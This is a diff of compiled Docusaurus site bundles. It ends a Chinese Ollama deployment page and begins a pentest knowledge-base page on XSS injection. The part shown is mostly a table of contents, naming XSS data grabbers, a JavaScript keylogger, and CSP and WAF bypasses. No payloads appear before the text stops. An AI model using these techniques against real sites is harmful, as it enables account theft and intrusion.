\u6838"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"RAM >= 16 GB"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"Disk >= 50 GB"}),"\n"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.h4,{id:"132-linux",children:"1.3.2 Linux"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u8f6f\u4ef6\u5b89\u88c5"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:"k3s / docker / k8s"})," : \u9009\u62e9\u4efb\u610f\u4e00\u79cd \u5b89\u88c5"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:"https://www.nvidia.cn/geforce/drivers/",children:(0,i.jsx)(e.strong,{children:"NVIDIA\u663e\u5361\u9a71\u52a8"})}),"\uff1a\u9009\u62e9\u4f60\u5bf9\u5e94\u663e\u5361\u9a71\u52a8"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:"https://ollama.com/download",children:"OLLAMA"}),"\uff1a\u5148\u5b89\u88c5\u663e\u5361\u9a71\u52a8\u540e\uff0c\u518d\u5b89\u88c5ollama"]}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u7cfb\u7edf\u8981\u6c42"}),"\uff1a\u5982\u679c\u4f60\u6709\u663e\u5361\u652f\u6301\uff0c\u90a3\u4e48\u5185\u5b58\u548cCPU\u53ef\u9002\u5f53\u964d\u4f4e"]}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"CPU >= 4 \u6838"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"RAM >= 16 GB"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"Disk >= 50 GB"}),"\n"]}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.h4,{id:"133-macos",children:"1.3.3 Macos"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.del,{children:"\u7531\u4e8em\u7cfb\u5217\u7684\u82af\u7247\uff0c\u4e0d\u652f\u6301N\u5361\u6240\u4ee5\u76f8\u5bf9\u5e94\u7684\u53ef\u80fd\u8981\u6c42\u8f83\u9ad8"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.strong,{children:"\u8f6f\u4ef6\u5b89\u88c5"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.strong,{children:(0,i.jsx)(e.a,{href:"https://docs.docker.com/desktop/setup/install/mac-install/",children:"DOCKER"})})," : \u5fc5\u987b\u5b89\u88c5"]}),"\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.a,{href:"https://ollama.com/download",children:"OLLAMA"}),"\uff1a\u5148\u5b89\u88c5\u663e\u5361\u9a71\u52a8\u540e\uff0c\u518d\u5b89\u88c5ollama"]}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.strong,{children:"\u7cfb\u7edf\u8981\u6c42"}),"\uff1a\u5982"]}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"CPU >= 4 \u6838"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"RAM >= 16 GB"}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsx)(e.p,{children:"Disk >= 50 GB"}),"\n"]}),"\n"]}),"\n"]}),"\n"]})]})}function x(n={}){const{wrapper:e}={...(0,r.R)(),...n.components};return e?(0,i.jsx)(e,{...n,children:(0,i.jsx)(o,{...n})}):o(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/fbdacc97.58398e35.js b/en/assets/js/fbdacc97.58398e35.js new file mode 100644 index 0000000..c93f2ba --- /dev/null +++ b/en/assets/js/fbdacc97.58398e35.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[3620],{22767:(e,n,s)=>{s.d(n,{A:()=>r});const r=s.p+"assets/files/jsonp_endpoint-a829524ec0c745cc8b4c1438bc37ac22.txt"},23377:(e,n,s)=>{s.r(n),s.d(n,{assets:()=>c,contentTitle:()=>t,default:()=>o,frontMatter:()=>a,metadata:()=>r,toc:()=>d});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/README","title":"XSS\u6ce8\u5165","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165/README.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/02.WEB\u6f0f\u6d1e/02.XSS\u6ce8\u5165/README.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"BigQuery","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SQL\u6ce8\u5165/BigQuery"},"next":{"title":"Angular \u548c AngularJS \u4e2d\u7684 XSS","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/XSS\u6ce8\u5165/XSSInAngular"}}');var l=s(74848),i=s(28453);const a={},t="XSS\u6ce8\u5165",c={},d=[{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2},{value:"\u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f",id:"\u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f",level:2},{value:"\u5229\u7528\u4ee3\u7801\u6216 POC",id:"\u5229\u7528\u4ee3\u7801\u6216-poc",level:2},{value:"XSS \u6570\u636e\u91c7\u96c6\u5668",id:"xss-\u6570\u636e\u91c7\u96c6\u5668",level:3},{value:"\u7d27\u8eab\u80f8\u8863",id:"\u7d27\u8eab\u80f8\u8863",level:3},{value:"\u754c\u9762\u4f2a\u88c5",id:"\u754c\u9762\u4f2a\u88c5",level:3},{value:"Javascript \u952e\u76d8\u8bb0\u5f55\u7a0b\u5e8f",id:"javascript-\u952e\u76d8\u8bb0\u5f55\u7a0b\u5e8f",level:3},{value:"\u5176\u4ed6\u65b9\u5f0f",id:"\u5176\u4ed6\u65b9\u5f0f",level:3},{value:"\u8bc6\u522b XSS \u7aef\u70b9",id:"\u8bc6\u522b-xss-\u7aef\u70b9",level:2},{value:"\u5de5\u5177",id:"\u5de5\u5177",level:3},{value:"HTML/\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684 XSS",id:"html\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684-xss",level:2},{value:"\u666e\u901a\u6709\u6548\u8f7d\u8377",id:"\u666e\u901a\u6709\u6548\u8f7d\u8377",level:3},{value:"\u4f7f\u7528 HTML5 \u6807\u8bb0\u7684 XSS",id:"\u4f7f\u7528-html5-\u6807\u8bb0\u7684-xss",level:3},{value:"\u4f7f\u7528\u8fdc\u7a0b JS \u7684 XSS",id:"\u4f7f\u7528\u8fdc\u7a0b-js-\u7684-xss",level:3},{value:"\u9690\u85cf\u8f93\u5165\u4e2d\u7684 XSS",id:"\u9690\u85cf\u8f93\u5165\u4e2d\u7684-xss",level:3},{value:"\u6709\u6548\u8f7d\u8377\u53cd\u6620\u4e3a\u5927\u5199\u65f6\u7684 XSS",id:"\u6709\u6548\u8f7d\u8377\u53cd\u6620\u4e3a\u5927\u5199\u65f6\u7684-xss",level:3},{value:"\u57fa\u4e8e DOM \u7684 XSS",id:"\u57fa\u4e8e-dom-\u7684-xss",level:3},{value:"JS \u4e0a\u4e0b\u6587\u4e2d\u7684 XSS",id:"js-\u4e0a\u4e0b\u6587\u4e2d\u7684-xss",level:3},{value:"\u5305\u88c5\u5668\u4e2d\u7684 XSS javascript \u548c\u6570\u636e URI",id:"\u5305\u88c5\u5668\u4e2d\u7684-xss-javascript-\u548c\u6570\u636e-uri",level:2},{value:"\u6587\u4ef6\u4e2d\u7684 XSS",id:"\u6587\u4ef6\u4e2d\u7684-xss",level:2},{value:"XML \u4e2d\u7684 XSS",id:"xml-\u4e2d\u7684-xss",level:3},{value:"XSS \u548c SVG",id:"xss-\u548c-svg",level:3},{value:"SVG \u4e2d\u7684 XSS\uff08\u77ed\uff09",id:"svg-\u4e2d\u7684-xss\u77ed",level:3},{value:"\u964d\u4ef7\u4e2d\u7684 XSS",id:"\u964d\u4ef7\u4e2d\u7684-xss",level:3},{value:"SWF \u95ea\u5b58\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684 XSS",id:"swf-\u95ea\u5b58\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684-xss",level:3},{value:"SWF \u95ea\u5b58\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684 XSS",id:"swf-\u95ea\u5b58\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684-xss-1",level:3},{value:"CSS \u4e2d\u7684 XSS",id:"css-\u4e2d\u7684-xss",level:3},{value:"PostMessage \u4e2d\u7684 XSS",id:"postmessage-\u4e2d\u7684-xss",level:2},{value:"\u76f2 XSS",id:"\u76f2-xss",level:2},{value:"XSS \u730e\u4eba",id:"xss-\u730e\u4eba",level:3},{value:"\u5176\u4ed6\u76f2 XSS \u5de5\u5177",id:"\u5176\u4ed6\u76f2-xss-\u5de5\u5177",level:3},{value:"\u76f2 XSS \u7aef\u70b9",id:"\u76f2-xss-\u7aef\u70b9",level:3},{value:"\u5c0f\u8d34\u58eb",id:"\u5c0f\u8d34\u58eb",level:3},{value:"\u7a81\u53d8 XSS",id:"\u7a81\u53d8-xss",level:2},{value:"Polyglot XSS",id:"polyglot-xss",level:2},{value:"\u8fc7\u6ee4\u5668\u65c1\u8def\u548c\u5947\u5f02\u6709\u6548\u8f7d\u8377",id:"\u8fc7\u6ee4\u5668\u65c1\u8def\u548c\u5947\u5f02\u6709\u6548\u8f7d\u8377",level:2},{value:"\u65c1\u8def\u533a\u5206\u5927\u5c0f\u5199",id:"\u65c1\u8def\u533a\u5206\u5927\u5c0f\u5199",level:3},{value:"\u7ed5\u8fc7\u6807\u7b7e\u9ed1\u540d\u5355",id:"\u7ed5\u8fc7\u6807\u7b7e\u9ed1\u540d\u5355",level:3},{value:"\u901a\u8fc7\u4ee3\u7801\u8bc4\u4f30\u7ed5\u8fc7\u5355\u8bcd\u9ed1\u540d\u5355",id:"\u901a\u8fc7\u4ee3\u7801\u8bc4\u4f30\u7ed5\u8fc7\u5355\u8bcd\u9ed1\u540d\u5355",level:3},{value:"\u7ed5\u8fc7\u4e0d\u5b8c\u6574\u7684 html \u6807\u8bb0",id:"\u7ed5\u8fc7\u4e0d\u5b8c\u6574\u7684-html-\u6807\u8bb0",level:3},{value:"\u8df3\u8fc7\u5b57\u7b26\u4e32\u7684\u5f15\u53f7",id:"\u8df3\u8fc7\u5b57\u7b26\u4e32\u7684\u5f15\u53f7",level:3},{value:"\u7ed5\u8fc7\u811a\u672c\u6807\u8bb0\u4e2d\u7684\u5f15\u53f7",id:"\u7ed5\u8fc7\u811a\u672c\u6807\u8bb0\u4e2d\u7684\u5f15\u53f7",level:3},{value:"\u5728 mousedown \u4e8b\u4ef6\u4e2d\u7ed5\u8fc7\u5f15\u53f7",id:"\u5728-mousedown-\u4e8b\u4ef6\u4e2d\u7ed5\u8fc7\u5f15\u53f7",level:3},{value:"\u65c1\u8def\u70b9\u8fc7\u6ee4\u5668",id:"\u65c1\u8def\u70b9\u8fc7\u6ee4\u5668",level:3},{value:"\u5b57\u7b26\u4e32\u4e0d\u4f7f\u7528\u62ec\u53f7",id:"\u5b57\u7b26\u4e32\u4e0d\u4f7f\u7528\u62ec\u53f7",level:3},{value:"\u7ed5\u8fc7\u62ec\u53f7\u548c\u5206\u53f7",id:"\u7ed5\u8fc7\u62ec\u53f7\u548c\u5206\u53f7",level:3},{value:"\u7ed5\u8fc7 onxxxx= \u9ed1\u540d\u5355",id:"\u7ed5\u8fc7-onxxxx-\u9ed1\u540d\u5355",level:3},{value:"\u65c1\u8def\u7a7a\u95f4\u8fc7\u6ee4\u5668",id:"\u65c1\u8def\u7a7a\u95f4\u8fc7\u6ee4\u5668",level:3},{value:"\u7ed5\u8fc7\u7535\u5b50\u90ae\u4ef6\u7b5b\u9009\u5668",id:"\u7ed5\u8fc7\u7535\u5b50\u90ae\u4ef6\u7b5b\u9009\u5668",level:3},{value:"\u7ed5\u8fc7\u6587\u6863\u9ed1\u540d\u5355",id:"\u7ed5\u8fc7\u6587\u6863\u9ed1\u540d\u5355",level:3},{value:"\u7ed5\u8fc7 document.cookie \u9ed1\u540d\u5355",id:"\u7ed5\u8fc7-documentcookie-\u9ed1\u540d\u5355",level:3},{value:"\u7ed5\u8fc7\u5728\u5b57\u7b26\u4e32\u4e2d\u4f7f\u7528 javascript",id:"\u7ed5\u8fc7\u5728\u5b57\u7b26\u4e32\u4e2d\u4f7f\u7528-javascript",level:3},{value:"\u7ed5\u8fc7\u4f7f\u7528\u5176\u4ed6\u65b9\u5f0f\u91cd\u5b9a\u5411",id:"\u7ed5\u8fc7\u4f7f\u7528\u5176\u4ed6\u65b9\u5f0f\u91cd\u5b9a\u5411",level:3},{value:"\u7ed5\u8fc7\u4f7f\u7528\u5176\u4ed6\u65b9\u5f0f\u6267\u884c\u8b66\u62a5",id:"\u7ed5\u8fc7\u4f7f\u7528\u5176\u4ed6\u65b9\u5f0f\u6267\u884c\u8b66\u62a5",level:3},{value:"\u4e0d\u4f7f\u7528\u4efb\u4f55\u5185\u5bb9\u7ed5\u8fc7\u201c>\u201d",id:"\u4e0d\u4f7f\u7528\u4efb\u4f55\u5185\u5bb9\u7ed5\u8fc7",level:3},{value:"\u4f7f\u7528\uff1c\u548c\uff1e\u7ed5\u8fc7\u201c\uff1c gt r \uff1d\u201d251\u201c/>\u201d",id:"\u4f7f\u7528\u548c\u7ed5\u8fc7-gt-r-251",level:3},{value:"\u4f7f\u7528\u5176\u4ed6\u5b57\u7b26\u8df3\u8fc7\u201c\uff1b\u201d",id:"\u4f7f\u7528\u5176\u4ed6\u5b57\u7b26\u8df3\u8fc7",level:3},{value:"\u7ed5\u8fc7\u4f7f\u7528 HTML \u7f16\u7801",id:"\u7ed5\u8fc7\u4f7f\u7528-html-\u7f16\u7801",level:3},{value:"\u4f7f\u7528\u7247\u5047\u540d\u7ed5\u8fc7",id:"\u4f7f\u7528\u7247\u5047\u540d\u7ed5\u8fc7",level:3},{value:"\u4f7f\u7528\u6954\u5f62\u6587\u5b57\u7ed5\u8fc7",id:"\u4f7f\u7528\u6954\u5f62\u6587\u5b57\u7ed5\u8fc7",level:3},{value:"\u4f7f\u7528\u6717\u5854\u62c9\u7684\u65c1\u8def",id:"\u4f7f\u7528\u6717\u5854\u62c9\u7684\u65c1\u8def",level:3},{value:"\u4f7f\u7528 ECMAScript6 \u7ed5\u8fc7",id:"\u4f7f\u7528-ecmascript6-\u7ed5\u8fc7",level:3},{value:"\u4f7f\u7528\u516b\u8fdb\u5236\u7f16\u7801\u7ed5\u8fc7",id:"\u4f7f\u7528\u516b\u8fdb\u5236\u7f16\u7801\u7ed5\u8fc7",level:3},{value:"\u7ed5\u8fc7\u4f7f\u7528 Unicode",id:"\u7ed5\u8fc7\u4f7f\u7528-unicode",level:3},{value:"\u4f7f\u7528 UTF-7 \u65c1\u8def",id:"\u4f7f\u7528-utf-7-\u65c1\u8def",level:3},{value:"\u7ed5\u8fc7\u4f7f\u7528 UTF-8",id:"\u7ed5\u8fc7\u4f7f\u7528-utf-8",level:3},{value:"\u4f7f\u7528 UTF-16be \u65c1\u8def",id:"\u4f7f\u7528-utf-16be-\u65c1\u8def",level:3},{value:"\u4f7f\u7528 UTF-32 \u65c1\u8def",id:"\u4f7f\u7528-utf-32-\u65c1\u8def",level:3},{value:"\u4f7f\u7528 BOM \u7ed5\u8fc7",id:"\u4f7f\u7528-bom-\u7ed5\u8fc7",level:3},{value:"\u7ed5\u8fc7\u4f7f\u7528\u5947\u602a\u7684\u7f16\u7801\u6216\u539f\u751f\u89e3\u91ca",id:"\u7ed5\u8fc7\u4f7f\u7528\u5947\u602a\u7684\u7f16\u7801\u6216\u539f\u751f\u89e3\u91ca",level:3},{value:"\u4f7f\u7528 jsfuck \u7ed5\u8fc7",id:"\u4f7f\u7528-jsfuck-\u7ed5\u8fc7",level:3},{value:"CSP \u65c1\u8def",id:"csp-\u65c1\u8def",level:2},{value:"\u4f7f\u7528\u8c37\u6b4c\u7684 JSONP \u7ed5\u8fc7 CSP\uff08\u901a\u8fc7@ \u963f\u666e\u8d39\u8d39\u5c14 27\u7684\u6280\u5de7\uff09",id:"\u4f7f\u7528\u8c37\u6b4c\u7684-jsonp-\u7ed5\u8fc7-csp\u901a\u8fc7-\u963f\u666e\u8d39\u8d39\u5c14-27\u7684\u6280\u5de7",level:3},{value:"\u7ed5\u8fc7 CSPlab.wallarm.com \u7f51\u7ad9",id:"\u7ed5\u8fc7-csplabwallarmcom-\u7f51\u7ad9",level:3},{value:"\u7ed5\u8fc7 CSPRhynorater",id:"\u7ed5\u8fc7-csprhynorater",level:3},{value:"\u7ed5\u8fc7 CSP@akita_zen",id:"\u7ed5\u8fc7-cspakita_zen",level:3},{value:"\u7ed5\u8fc7 CSP@404death",id:"\u7ed5\u8fc7-csp404death",level:3},{value:"\u901a\u7528 WAF \u65c1\u8def",id:"\u901a\u7528-waf-\u65c1\u8def",level:2},{value:"Cloudflare XSS \u7ed5\u8fc7@ \u6ce2\u4e39 \xb7 \u79d1\u5c14\u65e5\u6069\u65af\u57fa",id:"cloudflare-xss-\u7ed5\u8fc7-\u6ce2\u4e39--\u79d1\u5c14\u65e5\u6069\u65af\u57fa",level:3},{value:"2021 \u5e74 1 \u6708 25 \u65e5",id:"2021-\u5e74-1-\u6708-25-\u65e5",level:4},{value:"2020 \u5e74 4 \u6708 21 \u65e5",id:"2020-\u5e74-4-\u6708-21-\u65e5",level:4},{value:"2019 \u5e74 8 \u6708 22 \u65e5",id:"2019-\u5e74-8-\u6708-22-\u65e5",level:4},{value:"2019 \u5e74 6 \u6708 5 \u65e5",id:"2019-\u5e74-6-\u6708-5-\u65e5",level:4},{value:"2019 \u5e74 6 \u6708 3 \u65e5",id:"2019-\u5e74-6-\u6708-3-\u65e5",level:4},{value:"Cloudflare XSS \u65c1\u8def-2019 \u5e74 3 \u6708 22 \u65e5\uff08\u901a\u8fc7 @RakeshMane10\uff09",id:"cloudflare-xss-\u65c1\u8def-2019-\u5e74-3-\u6708-22-\u65e5\u901a\u8fc7-rakeshmane10",level:3},{value:"Cloudflare XSS \u65c1\u8def-2018 \u5e74 2 \u6708 27 \u65e5",id:"cloudflare-xss-\u65c1\u8def-2018-\u5e74-2-\u6708-27-\u65e5",level:3},{value:"Chrome \u5ba1\u8ba1\u5458-2018 \u5e74 8 \u6708 9 \u65e5",id:"chrome-\u5ba1\u8ba1\u5458-2018-\u5e74-8-\u6708-9-\u65e5",level:3},{value:"Incapsula WAF \u65c1\u8def\u901a\u8fc7@Alra3ees-2018 \u5e74 3 \u6708 8 \u65e5",id:"incapsula-waf-\u65c1\u8def\u901a\u8fc7alra3ees-2018-\u5e74-3-\u6708-8-\u65e5",level:3},{value:"Incapsula WAF \u65c1\u8def\u901a\u8fc7@c0d3G33k-2018 \u5e74 9 \u6708 11 \u65e5",id:"incapsula-waf-\u65c1\u8def\u901a\u8fc7c0d3g33k-2018-\u5e74-9-\u6708-11-\u65e5",level:3},{value:"Incapsula WAF \u65c1\u8def\u901a\u8fc7@daveysec-2019 \u5e74 5 \u6708 11 \u65e5",id:"incapsula-waf-\u65c1\u8def\u901a\u8fc7daveysec-2019-\u5e74-5-\u6708-11-\u65e5",level:3},{value:"Akamai WAF \u7ed5\u8fc7@zseano-2018 \u5e74 6 \u6708 18 \u65e5",id:"akamai-waf-\u7ed5\u8fc7zseano-2018-\u5e74-6-\u6708-18-\u65e5",level:3},{value:"Akamai WAF \u7ed5\u8fc7@s0md3v-2018 \u5e74 10 \u6708 28 \u65e5",id:"akamai-waf-\u7ed5\u8fc7s0md3v-2018-\u5e74-10-\u6708-28-\u65e5",level:3},{value:"WordFence WAF \u7ed5\u8fc7@ \u91ce\u86ee\u7684-2018 \u5e74 9 \u6708 12 \u65e5",id:"wordfence-waf-\u7ed5\u8fc7-\u91ce\u86ee\u7684-2018-\u5e74-9-\u6708-12-\u65e5",level:3},{value:"Fortiweb WAF \u65c1\u8def\u901a\u8fc7@rezaduty-2019 \u5e74 7 \u6708 9 \u65e5",id:"fortiweb-waf-\u65c1\u8def\u901a\u8fc7rezaduty-2019-\u5e74-7-\u6708-9-\u65e5",level:3},{value:"\u5b9e\u9a8c\u5ba4",id:"\u5b9e\u9a8c\u5ba4",level:2},{value:"\u53c2\u8003\u6587\u732e",id:"\u53c2\u8003\u6587\u732e",level:2}];function h(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,i.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"xss\u6ce8\u5165",children:"XSS\u6ce8\u5165"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:31:55"})]})})]}),"\n",(0,l.jsx)(n.h1,{id:"\u8de8\u7ad9\u70b9\u811a\u672c",children:"\u8de8\u7ad9\u70b9\u811a\u672c"}),"\n",(0,l.jsxs)(n.blockquote,{children:["\n",(0,l.jsx)(n.p,{children:"\u8de8\u7ad9\u70b9\u811a\u672c\uff08XSS\uff09\u662f\u4e00\u79cd\u8ba1\u7b97\u673a\u5b89\u5168\u6f0f\u6d1e\uff0c\u901a\u5e38\u5b58\u5728\u4e8e web \u5e94\u7528\u7a0b\u5e8f\u4e2d\u3002XSS \u4f7f\u653b\u51fb\u8005\u80fd\u591f\u5c06\u5ba2\u6237\u7aef\u811a\u672c\u6ce8\u5165\u5176\u4ed6\u7528\u6237\u67e5\u770b\u7684\u7f51\u9875\u3002"}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#cross-site-scripting",children:"\u8de8\u7ad9\u70b9\u811a\u672c"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#vulnerability-details",children:"\u6f0f\u6d1e\u8be6\u7ec6\u4fe1\u606f"})}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#exploit-code-or-poc",children:"\u5229\u7528\u4ee3\u7801\u6216 POC"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#data-grabber-for-xss",children:"XSS \u6570\u636e\u91c7\u96c6\u5668"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#cors",children:"CORS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#ui-redressing",children:"\u754c\u9762\u4f2a\u88c5"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#javascript-keylogger",children:"Javascript \u952e\u76d8\u8bb0\u5f55\u7a0b\u5e8f"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#other-ways",children:"Other ways"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#identify-an-xss-endpoint",children:"\u8bc6\u522b XSS \u7aef\u70b9"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#tools",children:"Tools"})}),"\n"]}),"\n"]}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#xss-in-htmlapplications",children:"HTML/\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684 XSS"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#common-payloads",children:"\u666e\u901a\u6709\u6548\u8f7d\u8377"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-using-html5-tags",children:"\u4f7f\u7528 HTML5 \u6807\u8bb0\u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-using-a-remote-js",children:"\u4f7f\u7528\u8fdc\u7a0b JS \u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-hidden-input",children:"\u9690\u85cf\u8f93\u5165\u4e2d\u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-when-payload-is-reflected-capitalized",children:"\u6709\u6548\u8f7d\u8377\u53cd\u6620\u4e3a\u5927\u5199\u65f6\u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#dom-based-xss",children:"\u57fa\u4e8e DOM \u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-js-context",children:"JS \u4e0a\u4e0b\u6587\u4e2d\u7684 XSS"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-wrappers-javascript-and-data-uri",children:"\u5305\u88c5\u5668\u4e2d\u7684 XSS javascript \u548c\u6570\u636e URI"})}),"\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.a,{href:"#xss-in-files",children:"\u6587\u4ef6\u4e2d\u7684 XSS"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-xml",children:"XSS in XML"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-svg",children:"XSS in SVG"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-svg-short",children:"SVG \u4e2d\u7684 XSS\uff08\u77ed\uff09"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-markdown",children:"\u964d\u4ef7\u4e2d\u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-swf-flash-application",children:"SWF \u95ea\u5b58\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-swf-flash-application-1",children:"SWF \u95ea\u5b58\u5e94\u7528\u7a0b\u5e8f\u4e2d\u7684 XSS"})}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-css",children:"XSS in CSS"})}),"\n"]}),"\n"]}),"\n",(0,l.jsx)(n.li,{children:(0,l.jsx)(n.a,{href:"#xss-in-postmessage",children:"PostMessage \u4e2d\u7684 